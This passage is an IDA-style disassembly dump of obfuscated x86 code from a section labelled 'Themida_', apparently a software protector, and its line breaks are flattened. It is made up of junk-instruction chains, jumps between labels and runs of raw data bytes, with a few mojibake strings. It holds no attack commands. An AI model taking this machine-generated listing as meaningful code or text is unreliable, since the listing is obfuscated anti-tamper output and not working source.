esi mov esi, 7B066F18h and esi, 2AF64DAFh sub esi, 0FFFFFFFFh sub esi, 2A064D05h add ebp, esi pop esi jmp loc_55B338 ; --------------------------------------------------------------------------- loc_557435: ; CODE XREF: Themida_:0055711Aj mov eax, esp add eax, 4 push ebp jmp loc_561145 ; --------------------------------------------------------------------------- dw 0E952h dd 0D001h ; --------------------------------------------------------------------------- loc_557448: ; CODE XREF: Themida_:00562618j add eax, 513C0744h sub eax, 6D2C185Ch push ebp mov ebp, 158027CCh sub ebp, 0FFFFFFFFh neg ebp xor ebp, 0D2A3ECD7h sub eax, ebp pop ebp push ebp mov ebp, 71AE3EADh jmp loc_55A557 ; --------------------------------------------------------------------------- loc_557474: ; CODE XREF: Themida_:0056050Cj shl edx, 5 sub edx, 77A083BCh sub ebx, edx jmp loc_554436 ; --------------------------------------------------------------------------- dd 8904EC83h, 0BB532414h, 4A2D2DEAh, 916A40BAh, 0FFDA3144h dd 1C8B2434h, 6929E924h, 0C4830000h, 0BBF58104h, 55EA30DDh dd 8418FCBDh, 81DDF775h, 573300CDh, 3BED8118h, 295BCBA9h dd 242C8BEAh, 2904C483h, 94BDE9EAh, 55C0000h, 0A05BAD61h dd 6759E9h, 24143300h, 10F57E9h, 40500h, 10E90000h, 59FFFFECh dd 0EE81FE29h, 3D091FF3h, 81243C8Bh, 4C4h, 74FF5600h, 0E95E0424h dd 3088h ; --------------------------------------------------------------------------- loc_557508: ; CODE XREF: Themida_:0055C0CCj mov edi, 79B46170h jmp loc_565E7B ; --------------------------------------------------------------------------- dw 0C0B8h dd 8132455Eh, 0E7459CC3h, 81C3013Fh, 0E7459CEBh, 0D3F7583Fh dd 7972BF57h, 0FB0925D5h, 0FAF3815Fh, 8142CF78h, 57AA7AC3h dd 5BDF292Ah, 243C875Eh, 6624248Bh, 9C240CFFh, 0FFBB54E9h dd 4C483FFh, 50ABB353h, 0D8F6B0B0h, 2C08E8C0h, 7E0C09Eh dd 249DE9h db 0 ; --------------------------------------------------------------------------- loc_557569: ; CODE XREF: Themida_:00565060j pop eax jmp loc_55E783 ; --------------------------------------------------------------------------- loc_55756F: ; CODE XREF: Themida_:00565D43j not edx xchg edx, ebx shr ebx, 2 jmp loc_55E610 ; --------------------------------------------------------------------------- db 0B0h dd 0F917E939h, 0C601FFFFh, 5906EE81h, 0C6810E7Ch, 23906C2Dh dd 674DE958h, 0C890000h, 13E95324h db 1Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55759F: ; CODE XREF: Themida_:005586C6j xor cl, 71h jmp loc_554F47 ; --------------------------------------------------------------------------- db 0E9h dd 7657h ; --------------------------------------------------------------------------- loc_5575AC: ; CODE XREF: Themida_:0055C755j xor eax, ecx jmp loc_56317A ; --------------------------------------------------------------------------- loc_5575B3: ; CODE XREF: Themida_:0055BE62j mov dh, 0D9h sub dh, 8Eh shr dh, 7 xor dh, 60h jmp loc_55E257 ; --------------------------------------------------------------------------- loc_5575C3: ; CODE XREF: Themida_:00567D0Dj mov ecx, 77A64534h sub ecx, ebx pop ebx add esi, ecx mov ecx, [esp] add esp, 4 push ecx mov ecx, 71815E44h add ecx, 6DDC2C7Dh add ecx, 2CB30C30h inc ecx push edi push edx mov edx, 417A27BBh jmp loc_561B77 ; --------------------------------------------------------------------------- loc_5575F2: ; CODE XREF: Themida_:00562C0Fj pop esp xor esi, [esp] jmp loc_564CE8 ; --------------------------------------------------------------------------- db 83h dd 0E3E904C7h, 66FFFFC4h, 68240C8Bh, 35A0h, 89241C89h dd 48D4E9E3h, 1C890000h, 4BB24h, 0D9290000h, 74FF515Bh dd 0E9590424h, 0FFFFE0EFh ; --------------------------------------------------------------------------- loc_55762C: ; CODE XREF: Themida_:00558B71j add eax, esi pop esi sub eax, ebx sub eax, 7D980CADh sub esp, 4 mov [esp], ebp push edi push ebx mov ebx, esp jmp loc_56677A ; --------------------------------------------------------------------------- aLSqq db '‹$$韟',0 dd 24248B00h, 9C240CD3h, 0FFBA4CE9h, 89D889FFh, 1C8B58C1h dd 4C48324h, 34FFCF01h, 0C4835924h, 0E1895104h, 45A7E9h dd 0BA525C00h, 2, 148BD601h, 4C48124h, 33000000h, 34312434h dd 3C36E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_557692: ; CODE XREF: Themida_:0055A58Bj push eax mov eax, 4 mov ebp, eax pop eax sub esi, 50523994h add esi, ebp add esi, 50523994h pop ebp jmp loc_564384 ; --------------------------------------------------------------------------- db 0F7h dd 8EDC1D5h, 70E7E581h, 166847DEh, 89000036h, 0EA682434h dd 8B132A4Eh, 0C4812434h, 4, 5508EEC1h, 2235C5BDh, 5DEE0170h dd 525EF521h, 25B9E9h db 0 ; --------------------------------------------------------------------------- loc_5576E5: ; CODE XREF: Themida_:00563138j mov ebp, 14B1047Ah jmp loc_55A177 ; --------------------------------------------------------------------------- aYsr db 'YéR¹',0 db 0 ; --------------------------------------------------------------------------- loc_5576F5: ; CODE XREF: Themida_:00563D5Dj push ebx mov ebx, 4 add ebp, ebx jmp loc_5600F9 ; --------------------------------------------------------------------------- dw 815Bh dd 4C6h, 76C8E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55770E: ; CODE XREF: Themida_:0055D77Bj pop ebp jmp loc_564624 ; --------------------------------------------------------------------------- dd 24048B66h, 5E08950h, 4, 5B668h, 24148900h, 8E685651h dd 5E0CEB4Bh, 0C681EED1h, 64589F42h, 895EF189h, 240C8BCAh dd 568FE9h, 0C0B60F00h, 0E987048Fh, 0FFFFB955h, 335DE901h dd 0C31240Ch, 240C3324h, 0FD24248Bh, 44D168h, 24348900h dd 7860BD68h, 24348B7Eh, 535E5456h, 0C779F8BBh, 0B95160h dd 81273F61h, 90156BEBh, 81CB0172h, 90156BC3h, 0D11E972h db 2 dup(0) ; --------------------------------------------------------------------------- loc_557792: ; CODE XREF: Themida_:00555F3Bj add esp, 4 mov eax, [esp] jmp loc_554A6B ; --------------------------------------------------------------------------- loc_55779D: ; CODE XREF: Themida_:00556B8Aj sub dh, al mov eax, [esp] add esp, 4 mov bh, 7Ah sub bh, dh pop edx jmp loc_562D03 ; --------------------------------------------------------------------------- loc_5577AF: ; CODE XREF: Themida_:00554863j and eax, esi mov esi, [esp] add esp, 4 or eax, eax jmp loc_55D773 ; --------------------------------------------------------------------------- dd offset dword_493504+0E164h dw 8900h dd 5954240Ch, 0BC34E9h, 79BB5300h, 316ED10Eh, 0C40CE9DEh dd 0BF570000h, 39924477h, 1C80E9h, 0AFC38100h, 8B0C7C21h dd 0C481240Ch, 4, 0BD5BDF89h, 15201FF1h, 3C8BFD01h, 4C48124h dd 1000000h, 0C2815DEAh, 10533246h, 74685553h, 0E9417644h dd 31C1h, 0B7535066h, 33CF8022h, 0E97BEF80h, 9ADh ; --------------------------------------------------------------------------- loc_55782C: ; CODE XREF: Themida_:00558BA5j xor [esp], ebp xor ebp, [esp] pop esp mov [esp], ebx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 mov ebx, [esp] add esp, 4 jmp loc_5538E0 ; --------------------------------------------------------------------------- loc_557851: ; CODE XREF: Themida_:00555A57j mov esi, 6DAD6571h add ecx, esi pop esi mov edx, [esp] jmp loc_55B999 ; --------------------------------------------------------------------------- db 51h, 0B9h, 0DEh dd 11AE46Dh, 5904244Ch, 66FFE9h, 241C8900h, 5036E9h, 5E2C100h dd 3BB9BD55h, 56457D2Fh, 883A7CBEh, 2437E93Bh, 34890000h dd 5EAD6824h, 3C890000h, 3AB06824h, 34FF27D0h, 243C8B24h dd 81E38953h, 4C3h, 4C38300h, 0FFBCDFE9h, 24248BFFh, 50240C89h dd 7C0468h, 241C8900h, 8852D388h, 5AF088DEh, 5253525Bh dd 0FFF989E9h db 0FFh ; --------------------------------------------------------------------------- loc_5578D5: ; CODE XREF: Themida_:0055D328j sub ebx, 0FFFFFFFFh jmp loc_560584 ; --------------------------------------------------------------------------- loc_5578DD: ; CODE XREF: Themida_:005593DEj xor edx, 0D372F363h xor edi, edx pop edx mov ebp, 9021A99Ch jmp loc_564E41 ; --------------------------------------------------------------------------- dd 0FBF2815Ah, 812C2D77h, 0DA1581F2h, 0DFB9511Bh, 0C14A0C1Ah dd 0D9F706E9h, 0E981D1F7h, 2CC752C0h, 0E959CA01h, 0FFFFC502h ; --------------------------------------------------------------------------- loc_557918: ; CODE XREF: Themida_:00553F80j mov ecx, esp push ebx jmp loc_56256C ; --------------------------------------------------------------------------- dd 1509790Dh, 9535484Eh, 292CAD11h, 0EF8158C7h, 5B6910FBh dd 0EC81F701h, 4, 0E9243489h, 0FFFFE8E1h, 5FF8895Fh, 48BC201h dd 4C48124h, 56000000h, 0C84FCCBEh, 0BF77E90Fh, 34FFFFFFh dd 0CBE95824h db 0CBh, 2 dup(0) ; --------------------------------------------------------------------------- loc_557967: ; CODE XREF: Themida_:00554E60j xor [esp], ecx jmp loc_559715 ; --------------------------------------------------------------------------- db 0F7h dd 98EB81D3h, 89795897h, 0B9515BDAh, 6BE37B0Ah, 0C103E9C1h dd 0E98107E1h, 5EC35FB4h, 0E959CA31h, 72C2h, 6804C483h dd 26FDh, 4B68E9h, 8B665C00h, 16E92404h, 8700010Ch, 0E95C2434h dd 0FFFFB6F1h, 8B242C87h, 0C481243Ch, 4, 0E4DDE9h db 0 ; --------------------------------------------------------------------------- loc_5579C5: ; CODE XREF: Themida_:0055632Ej push ebp mov ebp, 1AE8543Ch xor ebp, 400F3B04h jmp loc_55B087 ; --------------------------------------------------------------------------- dw 0B951h dd 5B075A73h, 4244481h, 286D193Dh, 4244C01h, 193DBA52h dd 5429286Dh, 8B5A0824h, 0C483240Ch, 96A6804h, 2C890000h dd 1EBFBD24h, 6C016E23h, 0E95D0424h, 10226h, 81241C8Bh dd 4C4h, 24343300h, 2ABCE9h db 0 ; --------------------------------------------------------------------------- loc_557A21: ; CODE XREF: Themida_:00564D94j shl edx, 5 sub edx, 741AC835h mov ebx, edx pop edx dec ebx dec ebx jmp loc_55984B ; --------------------------------------------------------------------------- dd 0EF81DF01h, 4113219Ch, 897C781h, 0E95B6D15h, 763Bh dd 0AE524FB9h, 0C7E95577h, 8900009Eh, 74E9241Ch db 7Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_557A5B: ; CODE XREF: Themida_:00562FBCj dec edx xor edx, 64947A3Bh push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] jmp loc_555D6C ; --------------------------------------------------------------------------- db 9, 0F2h, 5Eh dd 0F11AC281h, 0C581D095h, 47A72A74h, 0ED81D529h, 47A72A74h dd 4CC5E9h, 24148900h, 1A30E9h db 0 ; --------------------------------------------------------------------------- loc_557A9D: ; CODE XREF: Themida_:0055735Aj add [esp+4], ebp pop ebp pop ebx add ebx, 4 push edx mov edx, 4 add ebx, edx pop edx xchg ebx, [esp] mov esp, [esp] jmp loc_55946D ; --------------------------------------------------------------------------- loc_557ABD: ; CODE XREF: Themida_:00560CF7j push ebx mov ebx, 4 sub eax, ebx jmp loc_55E6CD ; --------------------------------------------------------------------------- dw 0C89h aRsi db '$µêRé©Õ',0 dd 59CB2900h, 0E9243C8Bh, 5F6Dh, 5C24048Fh, 148BD001h dd 4C48324h, 0EC83D829h, 241C8904h, 8904EC83h, 0E9552434h dd 0FFFFE4FBh ; --------------------------------------------------------------------------- loc_557B00: ; CODE XREF: Themida_:005532DDj pop esi mov ecx, [esp] add esp, 4 push dword ptr [esp] pop eax push ebx push esp pop ebx push ebp jmp loc_561AB4 ; --------------------------------------------------------------------------- dd 8B2434FFh, 89572414h, 4C781E7h, 83000000h, 3C8704C7h dd 0E8685C24h, 89000020h, 0C9E9242Ch, 5C000046h, 0A2C2E9h dd 2DCABE00h, 0C6834E46h, 81DEF701h, 0B9D231F6h, 0C6C181B1h dd 14A1B1Ah, 0BD1EE9F1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557B5A: ; CODE XREF: Themida_:005549F2j mov esi, 77E72548h not esi dec esi sub esp, 4 mov [esp], ecx mov ecx, 341F7237h add esi, ecx pop ecx jmp loc_5649A6 ; --------------------------------------------------------------------------- dd 405h, 44BC6800h, 3C890000h, 0EC815624h, 4, 0BD242C89h dd 1B39235Ch, 24348155h, 67C82B39h, 39F6815Eh, 0E967C82Bh dd 5EEh, 0A922342Dh, 75DF2D4Eh, 0A1E9069Dh db 63h, 2 dup(0) ; --------------------------------------------------------------------------- loc_557BB7: ; CODE XREF: Themida_:0055FDEDj xor esi, 0DD124BE3h mov edx, 375F125Bh shr edx, 2 sub edx, 0FFFFFFFFh sub edx, 0FFFFFFFFh neg edx dec edx push esi mov esi, 4D435ED9h sub esi, 992950F2h sub edx, esi pop esi jmp loc_566F96 ; --------------------------------------------------------------------------- loc_557BE5: ; CODE XREF: Themida_:00553DCAj xor ebx, ecx jmp loc_56289F ; --------------------------------------------------------------------------- dd 8975B951h, 0C80180A6h, 83240C8Bh, 0C18104C4h, 58FC2F47h dd 0E981C101h, 58FC2F47h, 0F28DE958h, 0E9500000h, 1029Fh ; --------------------------------------------------------------------------- loc_557C14: ; CODE XREF: Themida_:00565AD6j push ebp mov ebp, esp jmp loc_559872 ; --------------------------------------------------------------------------- dd 24048B66h, 55585450h, 6038BF57h, 0FD8919B9h, 4160685Fh dd 1C890000h, 2E06E924h, 0E9510000h, 5159h ; --------------------------------------------------------------------------- loc_557C40: ; CODE XREF: Themida_:0056700Cj push ebx jmp loc_553342 ; --------------------------------------------------------------------------- dw 5DB8h dd 5013855Eh, 0B1243481h, 59137652h, 52B1F181h, 29581376h dd 5904244Ch, 0E9240401h, 5359h, 0BD359BBFh, 8BFE293Bh dd 0C483243Ch, 0BF574604h, 14C10469h, 0E95FFE21h, 16E0h ; --------------------------------------------------------------------------- loc_557C84: ; CODE XREF: Themida_:0055BCD4j pop dword ptr [esp] mov esp, [esp] sub esp, 4 mov [esp], ecx mov ecx, 11F25F9h jmp loc_55B5B8 ; --------------------------------------------------------------------------- loc_557C9A: ; CODE XREF: Themida_:00555C15j pop edx sub esp, 4 mov [esp], edx push ebx mov bh, 0C5h mov dl, bh pop ebx xor al, dl push dword ptr [esp] pop edx push 3BC8h mov [esp], ebx push esp jmp loc_55D15C ; --------------------------------------------------------------------------- align 4 dd 805B66F9h, 0E98050E9h, 0E9C82880h, 0C408h ; --------------------------------------------------------------------------- loc_557CCC: ; CODE XREF: Themida_:005571CFj xor eax, ecx push 343Dh mov [esp], eax xchg ebp, [esp] not ebp xchg ebp, [esp] push dword ptr [esp] pop eax sub esp, 4 jmp loc_56496D ; --------------------------------------------------------------------------- loc_557CEA: ; CODE XREF: Themida_:0055505Ej push ebx push 4 jmp loc_56135E ; --------------------------------------------------------------------------- loc_557CF5: ; CODE XREF: Themida_:005598CBj push eax mov eax, 67B11096h push eax xor dword ptr [esp], 3111260h mov ecx, [esp] jmp loc_55F455 ; --------------------------------------------------------------------------- db 59h dd 78EB8058h, 0E980B450h, 0F3D5h ; --------------------------------------------------------------------------- loc_557D18: ; CODE XREF: Themida_:0055C99Aj add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_553D04 ; --------------------------------------------------------------------------- dw 0F501h dd 8124348Bh, 4C4h, 242C8700h, 2B4AE9h, 24148900h, 8E41E9h dd 43442500h, 0DD2539C1h, 0E9052A4Ah, 8032h, 8B5BD889h dd 0C481242Ch, 4, 0FFB340E9h db 0FFh ; --------------------------------------------------------------------------- loc_557D65: ; CODE XREF: Themida_:0055A626j mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push ecx push edx push 6AF4640Eh pop edx xchg ebx, edx dec ebx jmp loc_563832 ; --------------------------------------------------------------------------- loc_557D87: ; CODE XREF: Themida_:0056369Bj push edx mov edx, 3B0C7F18h push edx xchg edi, [esp] push edi not dword ptr [esp] pop edi xchg edi, [esp] pop edx push 0 sub [esp], edx pop edx and edx, 5B351407h xor edx, 4D2A399Ch jmp loc_559489 ; --------------------------------------------------------------------------- dd 0C381D329h, 7BFD74EAh, 296FB951h, 0F1813D7Ah, 71F478A4h dd 3CACE181h, 0C1815E9Fh, 324F0210h, 47DEC181h, 0CB29971Fh dd 0C3815A59h, 488232BCh, 3334C381h, 0C3016B62h, 3334EB81h dd 64686B62h, 89000043h, 0BC682414h, 5A488232h, 1BA0EB81h dd 0D32953E0h, 1BA0C381h, 148B53E0h, 77E95524h, 890000CAh dd 0BE562404h, 3A71E69h, 7AFFE955h, 0C330000h, 24248B24h dd 8904EC83h, 0ECE9242Ch, 40000BCh, 58C730F7h, 0F605EFC0h dd 0AEC780DFh, 10E2E9h, 4C48100h, 0E9000000h, 770Bh, 55243489h dd 750A3FBDh, 5336BE3Ah, 0EE01E82Dh, 8BF7295Dh, 34E92434h db 24h, 2 dup(0) ; --------------------------------------------------------------------------- loc_557E6F: ; CODE XREF: Themida_:00563541j push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_5670BC ; --------------------------------------------------------------------------- dd 2BB53h, 74E90000h db 46h, 2 dup(0) ; --------------------------------------------------------------------------- loc_557E8F: ; CODE XREF: Themida_:005562E5j pop esi xchg esi, edx or edx, 0B1420A2h or edx, 51736E0Dh jmp loc_55D119 ; --------------------------------------------------------------------------- loc_557EA3: ; CODE XREF: Themida_:0055EFAEj xor ebx, ecx xor ecx, ebx xor ebx, esi xor esi, ebx jmp loc_553DBE ; --------------------------------------------------------------------------- loc_557EB0: ; CODE XREF: Themida_:00561FACj pop edi pop dword ptr [esp] pop esp add edx, 4 push edx jmp loc_55CE8E ; --------------------------------------------------------------------------- loc_557EC1: ; CODE XREF: Themida_:005553E8j mov [esp], esp add dword ptr [esp], 4 pop ebx jmp loc_55E212 ; --------------------------------------------------------------------------- dw 0D0F7h dd 51240487h, 0FFFFFFB9h, 244C29FFh, 95D5E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_557EE2: ; CODE XREF: Themida_:00566CD7j add edx, 2 xor edx, [esp] xor [esp], edx jmp loc_568BDF ; --------------------------------------------------------------------------- loc_557EF0: ; CODE XREF: Themida_:00566891j xchg edx, [esp] mov esp, [esp] mov esi, [esp] add esp, 4 loc_557EFF: ; CODE XREF: Themida_:0055C3FAj push eax mov eax, esp add eax, 4 sub eax, 4 jmp loc_55AC2D ; --------------------------------------------------------------------------- db 25h dd 35B31025h, 0E3E0E9h, 1685C00h, 8900005Dh, 5B54241Ch dd 4C381h, 0EB810000h, 4, 31241C33h, 1C33241Ch, 0C895C24h dd 4B924h, 0EA810000h, 55D41D5Ah, 0C281CA01h, 55D41D5Ah dd 81240C8Bh, 4C4h, 4EC8100h, 89000000h, 6AB82404h, 2550FA11h dd 551D4033h, 105h, 0F7E8D100h, 0E9D0F7D0h, 737Fh, 356C68h dd 0B6F6E900h, 0E3C10000h, 4BF38108h, 0C109FE35h, 0EB8107EBh dd 7DD48B24h, 0C8E9DA01h, 520000ADh, 3259D968h, 0D9E95A30h db 0BCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557FAB: ; CODE XREF: Themida_:0055EE15j not esi jmp loc_559686 ; --------------------------------------------------------------------------- dw 835Dh dd 0C68104C4h, 2, 8B243487h, 8B662424h, 0C481242Ch, 2 dd 4BE95566h, 68000063h, 2446h, 21E9E9h, 24148900h, 31568h dd 0EE85E900h, 5535FFFFh, 0D28AC0Bh, 57652956h, 0FFFFFF05h dd 0D6F796FFh, 0C631F031h, 0E883F031h, 0D00E2DFFh, 0CE68A01Ah dd 8900002Bh, 0DDBB241Ch, 0E900C375h, 10C40h, 4BB0F66h dd 7EE99C24h, 58FFFFB0h, 0E943D3F7h, 3546h ; --------------------------------------------------------------------------- loc_558030: ; CODE XREF: Themida_:00555C99j mov esi, 3F903237h or esi, 56672123h add esi, 0B60143D4h and edx, esi pop esi jmp loc_56525D ; --------------------------------------------------------------------------- db 56h, 0BEh, 0D7h dd 8170E259h, 93DD16C6h, 5EF729EEh, 4EF815Eh, 87000000h dd 248B243Ch, 0CA85E924h, 0C2050000h, 5722380Dh, 0FFC2E952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_558076: ; CODE XREF: Themida_:0055C862j add esp, 4 push esi mov esi, 52C066A3h dec esi dec esi neg esi shl esi, 2 xor esi, 71CB5981h sub esi, 0C5353CF9h jmp loc_55D431 ; --------------------------------------------------------------------------- db 59h dd 0D131CA31h, 0EC81CA31h, 4, 0BB241C89h, 351F0442h, 0E2E95350h dd 5000022h, 229C7DF4h, 0F42DD001h, 0FF229C7Dh, 0BDE92434h dd 81000008h, 4ECh, 242C8900h, 6C4262BDh, 4EC831Ah, 0B8240489h dd 7E215B67h, 0E958C521h, 0FFFFEF1Ch, 2414895Ch, 9B77BF57h dd 8157007Eh, 1CF2242Ch, 815A4827h, 271CF2C2h, 396EE948h dd 0D5F60000h, 0E9A8F580h, 2236h, 0EB7DE953h, 815CFFFFh dd 4C1h, 0FCFFE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_558122: ; CODE XREF: Themida_:0055670Bj sub esi, ecx pop ecx jmp loc_556563 ; --------------------------------------------------------------------------- dw 48Fh aHV db '$\hìv',0 dw 8900h dd 0F2E92404h, 0F700000Eh, 1C9805D8h, 0BE5667F1h, 6F14444Eh dd 0B0E9F009h, 0AC000059h, 4EC81h, 0C890000h, 5CD3E924h dd 17BD0000h, 3158073Ah, 24048BC5h, 4C481h, 0DDF70000h dd 4CB7E9h, 0B9515A00h, 726616DBh, 16D7E981h, 0CA017266h dd 913BE959h, 0CEFE0000h, 0F6F78853h, 0EB8FE9D7h, 815D0000h dd 0C6DCA6C6h, 0F58955E4h, 0DCE9EF89h, 5E000100h, 4C681h dd 68E90000h, 5EFFFFD6h, 815AD309h, 0AA59ADCBh, 0FFEB814Bh dd 0E9FFFFFFh, 77E2h ; --------------------------------------------------------------------------- loc_5581C8: ; CODE XREF: Themida_:0055CA8Bj pop esp jmp loc_5543F4 ; --------------------------------------------------------------------------- loc_5581CE: ; CODE XREF: Themida_:0055C944j push ebx mov ebx, 2A906492h jmp loc_566E7F ; --------------------------------------------------------------------------- db 80h, 0C7h, 0B8h dd 80FBCF80h, 0F8888BC7h, 66C1305Bh, 0E9C82858h, 0AF68h ; --------------------------------------------------------------------------- loc_5581F0: ; CODE XREF: Themida_:0055A117j mov [esp], edi jmp loc_563B5B ; --------------------------------------------------------------------------- dd offset dword_51E448+50Bh dd 0E9570001h, 0FFFFE27Ch, 0B6E2815Ah, 81686E0Ch, 0C97804C2h dd 0CEE28108h, 81105A29h, 303E4AF2h, 0CB95133h, 1251207h dd 0D00159CAh, 0C9F2E95Ah, 0CD810000h, 5C3D1AD2h, 4647E9h dd 52595C00h, 0C281E289h, 4, 4EA81h, 14870000h, 24248B24h dd 0BA241489h, 6C176D90h, 1567E981h, 0D101402Ch, 7CE8BD55h dd 8DE92F37h db 3Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55826B: ; CODE XREF: Themida_:00559710j pop ebx pop dword ptr [esp] push dword ptr [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 push ecx push esp pop ecx jmp loc_55AD54 ; --------------------------------------------------------------------------- dw 0FD31h dd 83243C8Bh, 0F58104C4h, 1B49176Ah, 6200E981h, 8FE94A3Bh dd 81FFFFDAh, 4C4h, 55575000h, 9362CEBDh, 51F7BF24h, 0EF313365h dd 36F7815Dh, 0E97BD36Fh, 0BF31h, 0E9243C89h, 79B7h, 2BF5751h dd 89000000h, 0CB015FF9h, 42ADE959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5582DA: ; CODE XREF: Themida_:00561395j mov [esp], edx push esp pop edx add edx, 4 push eax push edi push 6AC8290Eh jmp loc_5564F3 ; --------------------------------------------------------------------------- loc_5582F1: ; CODE XREF: Themida_:0055AD9Aj sub bl, al push edx mov dh, 9Dh neg dh not dh and dh, 7Fh dec dh jmp loc_55EFC9 ; --------------------------------------------------------------------------- dd 0D8289AB3h, 0FEE8D05Bh, 0FD36E9C0h, 15BA0000h, 0E9529868h dd 0FFFFEE03h ; --------------------------------------------------------------------------- loc_55831C: ; CODE XREF: Themida_:00559D34j and ebx, edx mov edx, [esp] add esp, 4 jmp loc_5612FC ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 0B40FE9h, 0D058B200h, 0B8EA80E2h, 0E95AD488h, 0FFFFC6B7h dd 0E3BD5553h, 81336376h, 0FFFFFFC5h, 0E386E9FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558352: ; CODE XREF: Themida_:005625C6j xor eax, 7D243B5h push eax jmp loc_5652E8 ; --------------------------------------------------------------------------- loc_55835D: ; CODE XREF: Themida_:00560B64j push esi push 2F8765A1h pop esi add esi, 0FFFFFFFFh push edx mov edx, 151EFCF6h jmp loc_5548EC ; --------------------------------------------------------------------------- db 87h, 14h, 24h dd 0F864E9h db 0 ; --------------------------------------------------------------------------- loc_55837D: ; CODE XREF: Themida_:0055ECE1j xor eax, 8C100025h mov ebx, eax pop eax jmp loc_5639FB ; --------------------------------------------------------------------------- dw 0CD81h dd 55177DCAh, 0E903EDC1h, 612h, 0BE56E9D1h, 0F38B39FCh dd 0E95EF129h, 0FFFFF72Dh, 0C3FDE981h, 0E981ED93h, 5B021101h dd 0D7F7F987h, 0E981F987h, 36D079B8h, 89E9E1D1h db 8Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5583C7: ; CODE XREF: Themida_:00567EAEj push esi push ebx push 25003F40h pop ebx or ebx, 0BD238D4h shr ebx, 8 add ebx, 0CC67737h mov esi, ebx jmp loc_55E896 ; --------------------------------------------------------------------------- db 0F7h, 0DFh, 87h dd 31CB81FBh, 502E6842h, 7BEEB3B8h, 62EB81FFh, 8125F77Ch dd 0CB6F91EBh, 81C32935h, 0CB6F91C3h, 0ECC6E935h, 0F381FFFFh dd 65A271F2h, 2EEFE9h, 1C77FF00h, 6659669Dh, 9C2414D3h dd 0FFAC7CE9h, 60FA05FFh, 85E926C0h, 0F0000EDh, 6868C8BEh dd 8900002Bh, 62E9240Ch, 53FFFFACh, 0EF771A68h, 0B8D3E923h dd 0EF31FFFFh, 81242C8Bh, 4C4h, 87C28100h, 1787404h, 87EA81FAh dd 0FF787404h, 3C8B2434h, 0E0895024h, 405h, 4C08300h, 5C240487h dd 2F0EE9h, 4BD00h, 0E9810000h, 6BF34E5Bh, 0DAE9E901h dd 51FFFFCCh, 3DCDE9h, 7FC96800h, 0CBE90000h, 59000000h dd 0E901EB83h, 689h, 0F03045B6h, 0EB805A66h, 81C300DAh dd 4ECh, 240C8900h, 0E1D0C5B1h, 0B0E980h, 805859CBh, 0C30067EBh dd 6867C380h, 48BEh, 0B0240489h, 89EB80F9h, 0E950C328h dd 0FFFFF093h ; --------------------------------------------------------------------------- loc_5584E8: ; CODE XREF: Themida_:0055F8B2j mov esi, esp add esi, 4 push ebp mov ebp, 4 sub esi, ebp pop ebp xchg esi, [esp] pop esp mov [esp], edi push dword ptr [esp+4] pop edi pop dword ptr [esp] not edi push edi jmp loc_553426 ; --------------------------------------------------------------------------- aB72jlbX5tps db 'Ã72jlËå5tpé»(',0 dd 24348900h, 0C681E689h, 4, 8704C683h, 665C2434h, 66695E68h dd 0B3241C89h, 66DC3011h, 2E3BE95Bh, 30680000h, 89000012h dd 0AAB9240Ch, 81293D23h, 582349F1h, 0C610E950h, 34FFFFFFh dd 0C4835F24h, 0C5835B04h, 0C65AE902h, 8F54FFFFh, 0E3682404h dd 8900004Dh, 5150242Ch, 4D3BFF68h, 0E9C15917h, 0E9814102h dd 0E807D7A8h, 0C159C889h, 7EE907E8h, 5F0000D7h, 8704C483h dd 42E9240Ch, 890000BCh, 0E6892434h, 44685150h, 59511B40h dd 761AE181h, 0E9811E3Ch, 969B0DEEh, 0C7E9C889h, 0FEFFFFC2h dd 0E1E980C1h, 0A4D3E9h db 0 ; --------------------------------------------------------------------------- loc_5585CD: ; CODE XREF: Themida_:005635E7j shr esi, 5 xor esi, 5043186h jmp loc_5666FB ; --------------------------------------------------------------------------- db 0B8h dd 5FE0194h, 4007E0C1h, 73632D48h, 0C589A61Dh, 5DEA0158h dd 75E9C201h, 0BD000058h, 4, 4246C01h, 0DAABE95Dh, 0FA890000h dd 8B5AD389h, 0AAE9243Ch db 6, 1, 0 ; --------------------------------------------------------------------------- loc_558613: ; CODE XREF: Themida_:0055617Dj pop ebp push esi mov esi, 28D85855h shl esi, 5 jmp loc_560CFC ; --------------------------------------------------------------------------- loc_558622: ; CODE XREF: Themida_:005602F8j push edx mov edx, 4 add edi, 409E6E53h sub edi, edx sub edi, 409E6E53h pop edx jmp loc_562880 ; --------------------------------------------------------------------------- dd 4C481h, 0D8000000h, 56B35366h, 0E904E3C0h, 3910h, 4C781h dd 0FF570000h, 5F042474h, 5C24048Fh, 31240C33h, 0C33240Ch dd 24248B24h, 8B2434FFh, 0C4812404h, 4, 23D168h, 242C8900h dd 242C8B54h, 4C481h, 4EE90000h, 8300009Ah, 0EE81FFEEh dd 14ADCBB7h, 0E95EF589h, 99A4h ; --------------------------------------------------------------------------- loc_5586A0: ; CODE XREF: Themida_:0056572Aj and al, 2Bh not al neg al push edx mov dl, 3Ah and al, dl pop edx sub al, 0E5h add bl, al pop eax push small 22A2h mov [esp], ax push ebx push ecx mov cl, 2 shl cl, 6 shl cl, 8 shl cl, 5 jmp loc_55759F ; --------------------------------------------------------------------------- db 0B8h dd 4, 22E9C201h, 0BA00000Ch, 36D742CDh, 148BD129h, 4C48324h dd 0C181F101h, 36D742CDh, 74BCE981h, 348B0757h, 4C48324h dd 3302E983h, 0C31240Ch, 240C3324h, 6624248Bh, 48F6654h dd 61686624h, 14896661h, 4ED1E924h, 525B0000h, 1C25BD55h 